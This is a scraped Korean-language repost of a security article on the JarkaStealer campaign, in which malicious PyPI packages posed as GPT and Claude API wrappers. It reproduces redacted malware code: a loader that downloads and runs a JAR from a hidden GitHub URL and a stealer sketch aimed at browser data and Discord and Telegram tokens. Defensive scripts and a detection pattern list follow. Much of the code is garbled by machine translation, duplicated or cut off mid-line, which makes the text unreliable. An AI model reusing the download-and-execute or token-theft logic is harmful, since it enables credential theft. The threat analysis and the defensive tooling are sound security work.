"일꾼이 일을 잘하려면 먼저 도구를 갈고 닦아야 한다." - 공자, 『논어』.
첫 장 > 프로그램 작성 > AI 애호가를 표적으로 하는 PyPI 공격 탐지 및 완화: JarkaStealer 캠페인 심층 분석

AI 애호가를 표적으로 하는 PyPI 공격 탐지 및 완화: JarkaStealer 캠페인 심층 분석

2025-01-27에 게시됨
검색:743

Detecting and Mitigating PyPI Attacks Targeting AI Enthusiasts: A Deep Dive into JarkaStealer Campaigns 최근 PYPI 공격의 해부학

식별 된 악성 패키지

Jarkastealer 맬웨어를 배포하는 두 개의 주목할만한 패키지가 발견되었습니다 :

GPTPLUS : GPT-4 Turbo API 통합을 제공한다고 주장했다

Claudeai-Eng : 인류 Claude API 래퍼로 가장면
  • 두 패키지 모두 PYPI에서 최종 제거하기 전에 수천 개의 다운로드를 유치했습니다.
  • 공격 체인의 기술적 분석

1. 초기 페이로드 분석

여기에는 일반적인 악성 패키지 구조가 어떻게 생겼는지 :

# setup.py SetUptools 가져 오기 설정 설정( 이름 = "gptplus", 버전 = "1.0.0", 설명 = "향상된 GPT-4 터보 API 통합", 패키지 =

, install_requires = [ "요청> = 2.25.1", "암호화> = 3.4.7" ]] )) # 메인 패키지 파일 내부 베이스 64 수입 OS 가져 오기 수입 하위 프로세스 def initialize () : encoded_payload = "base64_encoded_malicious_payload" decoded = base64.b64decode (encoded_payload) # 악성 실행은 다음과 같습니다

2. 맬웨어 배포 프로세스
# setup.py
from setuptools import setup

setup(
    name="gptplus",
    version="1.0.0",
    description="Enhanced GPT-4 Turbo API Integration",
    packages=["gptplus"],
    install_requires=[
        "requests>=2.25.1",
        "cryptography>=3.4.7"
    ]
)

# Inside main package file
import base64
import os
import subprocess

def initialize():
    encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD"
    decoded = base64.b64decode(encoded_payload)
    # Malicious execution follows
공격은이 순서를 따랐다 :

# 맬웨어 배포 프로세스의 단순화 된 표현 def deploy_malware () : # Java가 설치되어 있는지 확인하십시오 IS_JAVA_INSTALLED ()가 아닌 경우 : 다운로드 _jre () # 악성 항아리를 다운로드하십시오 jar_url = "https://github.com/ 마음 download_file (jar_url, "javaupdater.jar") # 시스템 권한으로 실행합니다 subprocess.run (
)))))

# Simplified representation of the malware deployment process
def deploy_malware():
    # Check if Java is installed
    if not is_java_installed():
        download_jre()

    # Download malicious JAR
    jar_url = "https://github.com/[REDACTED]/JavaUpdater.jar"
    download_file(jar_url, "JavaUpdater.jar")

    # Execute with system privileges
    subprocess.run(["java", "-jar", "JavaUpdater.jar"])

Jarkastealer의 데이터 수집 방법 :


# jarkastealer의 작동을 나타내는 Pseudocode 클래스 Jarkastealer : def collect_browser_data (self) : 경로 = { 'Chrome': os.path.join (os.getenv ( 'localAppData'), 'Google/Chrome/User Data/Default'), 'Firefox': os.path.join (os.getenv ( 'AppData'), 'Mozilla/Firefox/Profiles') } # 쿠키, 기록, 저장된 비밀번호 추출 def collect_system_info (self) : 정보 = { 'hostname': os.getenv ( 'computername'), '사용자 이름': os.getenv ( 'username'), 'IP': requests.get ( 'https://api.ipify.org') .text } 반품 정보 def riteal_tokens (self) : token_paths = { 'discord': os.path.join (os.getenv ( 'appdata'), 'discord'), 'Telegram': os.path.join (OS.Getenv ( 'AppData'), 'Telegram Desktop') } # 추출 및 실트 레이트 토큰

# Pseudocode representing JarkaStealer's operation
class JarkaStealer:
    def collect_browser_data(self):
        paths = {
            'chrome': os.path.join(os.getenv('LOCALAPPDATA'), 
                     'Google/Chrome/User Data/Default'),
            'firefox': os.path.join(os.getenv('APPDATA'), 
                      'Mozilla/Firefox/Profiles')
        }
        # Extract cookies, history, saved passwords

    def collect_system_info(self):
        info = {
            'hostname': os.getenv('COMPUTERNAME'),
            'username': os.getenv('USERNAME'),
            'ip': requests.get('https://api.ipify.org').text
        }
        return info

    def steal_tokens(self):
        token_paths = {
            'discord': os.path.join(os.getenv('APPDATA'), 'discord'),
            'telegram': os.path.join(os.getenv('APPDATA'), 'Telegram Desktop')
        }
        # Extract and exfiltrate tokens

1. 패키지 검증 스크립트

설치 전에 패키지를 확인하는 데 사용할 수있는 도구가 있습니다.


요청 요청 JSON 수입 DateTime 가져 오기 DateTime에서 수입 하위 프로세스 def Analyze_package (package_name) : "" " 포괄적 인 패키지 분석 도구 "" " def check_pypi_info () : url = f "https://pypi.org/pypi/ {package_name }/json" 응답 = requests.get (URL) if response.status_code == 200 : data = response.json () 반품 { "저자": Data

import requests
import json
from datetime import datetime
import subprocess

def analyze_package(package_name):
    """
    Comprehensive package analysis tool
    """
    def check_pypi_info():
        url = f"https://pypi.org/pypi/{package_name}/json"
        response = requests.get(url)
        if response.status_code == 200:
            data = response.json()
            return {
                "author": data["info"]["author"],
                "maintainer": data["info"]["maintainer"],
                "home_page": data["info"]["home_page"],
                "project_urls": data["info"]["project_urls"],
                "release_date": datetime.fromisoformat(
                    data["releases"][data["info"]["version"]][0]["upload_time_iso_8601"]
                )
            }
        return None

    def scan_dependencies():
        result = subprocess.run(
            ["pip-audit", package_name], 
            capture_output=True, 
            text=True
        )
        return result.stdout

    info = check_pypi_info()
    if info:
        print(f"Package Analysis for {package_name}:")
        print(f"Author: {info['author']}")
        print(f"Maintainer: {info['maintainer']}")
        print(f"Homepage: {info['home_page']}")
        print(f"Release Date: {info['release_date']}")

        # Red flags check
        if (datetime.now() - info['release_date']).days  

, "home_page": data

, "project_urls": data

, "release_date": datetime.fromisoformat ( 데이터
import psutil
import os
import logging
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class SuspiciousActivityMonitor(FileSystemEventHandler):
    def __init__(self):
        self.logger = logging.getLogger('SecurityMonitor')
        self.suspicious_patterns = [
            'JavaUpdater',
            '.jar',
            'base64',
            'telegram',
            'discord'
        ]

    def on_created(self, event):
        if not event.is_directory:
            self._check_file(event.src_path)

    def _check_file(self, filepath):
        filename = os.path.basename(filepath)

        # Check for suspicious patterns
        for pattern in self.suspicious_patterns:
            if pattern.lower() in filename.lower():
                self.logger.warning(
                    f"Suspicious file created: {filepath}"
                )

        # Check for base64 encoded content
        try:
            with open(filepath, 'r') as f:
                content = f.read()
                if 'base64' in content:
                    self.logger.warning(
                        f"Possible base64 encoded payload in: {filepath}"
                    )
        except:
            pass

def start_monitoring():
    logging.basicConfig(level=logging.INFO)
    event_handler = SuspiciousActivityMonitor()
    observer = Observer()
    observer.schedule(event_handler, path=os.getcwd(), recursive=True)
    observer.start()
    return observer

[0]

]]] )) } 반환 없음 def scan_dependencies () : result = subprocess.run (
    , capture_output = true, 텍스트 = 참 )) return result.stdout info = check_pypi_info () IF 정보 : print (f "{package_name}에 대한 패키지 분석 :") print (f "저자 : {info
  1. }") print (f "관리자 : {info }") print (f "홈페이지 : {info }") print (f "릴리스 날짜 : {info
  2. }") # 빨간색 깃발 확인 if (dateTime.now () - 정보
). Days # Create isolated environments for each project python -m venv .venv source .venv/bin/activate # Unix .venv\Scripts\activate # Windows # Lock dependencies pip freeze > requirements.txt
    2. 시스템 모니터링 솔루션
  1. 이 모니터링 스크립트를 구현하여 의심스러운 활동을 감지합니다.
PSUTIL 가져 오기 OS 가져 오기 가져 오기 로깅 Watchdog.observers import Observer에서 Watchdog.events에서 filesystemeventhandler를 가져옵니다 Class SeficeActivityMonitor (FileSystemeventhandler) : def __init __ (self) : self.logger = logging.getLogger ( 'SecurityMonitor') self.suspicious_patterns = [ 'Javaupdater', '.항아리', 'base64', '전보', '불화' ]] def on_created (Self, Event) : 이벤트가 아닌 경우 is_directory : self._check_file (event.src_path) def _check_file (self, filepath) : filename = os.path.baseName (Filepath) # 의심스러운 패턴을 확인하십시오 self.suspicious_patterns의 패턴 : filename.lower ()에서 pattern.lower () if if pattern.lower () : self.logger.warning ( f "의심스러운 파일 생성 : {filepath}" )) # Base64 인코딩 된 컨텐츠를 확인하십시오 노력하다: f로 open (filepath, 'r')을 사용하여 : content = f.read () 컨텐츠에서 'Base64'인 경우 : self.logger.warning ( f "가능한 base64 인코딩 된 페이로드 : {filepath}" )) 제외하고: 통과하다 def start_monitoring () : logging.basicconfig (level = logging.info) event_handler = 의심스러운 ActactivityMonitor () Observer = Observer () Observer.schedule (event_handler, path = os.getcwd (), recursive = true) Observer.start () 반환 관찰자
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Run security scan
        run: |
          pip install safety bandit
          safety check
          bandit -r .
개발 팀을위한 모범 사례

가상 환경 정책


# 각 프로젝트에 대해 고립 된 환경을 만듭니다 Python -M Venv .Venv 소스 .venv/bin/activate # unix .venv \ scripts \ actibate # windows # 잠금 의존성 PIP FREEZE> 요구 사항 .txt

자동 보안 검사

Detecting and Mitigating PyPI Attacks Targeting AI Enthusiasts: A Deep Dive into JarkaStealer Campaigns

# 예제 GitHub 작업 워크 플로 이름 : 보안 스캔 on : [push, pull_request] 작업 : 보안: 런 온 : 우분투-라이트 단계 : - 용도 : 액션/체크 아웃@v2 - 이름 : 보안 스캔을 실행합니다 실행 : | PIP 안전 산적을 설치하십시오 안전 점검 산적 -r.

결론

AI 테마 PYPI 공격의 상승은 공급망 위협에서 정교한 진화를 나타냅니다. 강력한 검증 프로세스를 구현하고 경계 모니터링 시스템을 유지함으로써 개발 팀은 이러한 위험에 대한 노출을 크게 줄일 수 있습니다.

기억 : AI 패키지를 통합 할 때는 항상 소스를 확인하고 코드를 스캔하고 포괄적 인 보안 모니터링을 유지 관리합니다. 예방 비용은 항상 보안 위반으로부터의 회복 비용보다 낮습니다.

  • 참고 :이 기사는 실제 보안 사고를 기반으로합니다. 오용을 방지하기 위해 일부 코드 예제가 수정되었습니다.
릴리스 선언문 이 기사는 다음과 같습니다
최신 튜토리얼 더>

부인 성명: 제공된 모든 리소스는 부분적으로 인터넷에서 가져온 것입니다. 귀하의 저작권이나 기타 권리 및 이익이 침해된 경우 자세한 이유를 설명하고 저작권 또는 권리 및 이익에 대한 증거를 제공한 후 이메일([email protected])로 보내주십시오. 최대한 빨리 처리해 드리겠습니다.

Copyright© 2022 湘ICP备2022001581号-3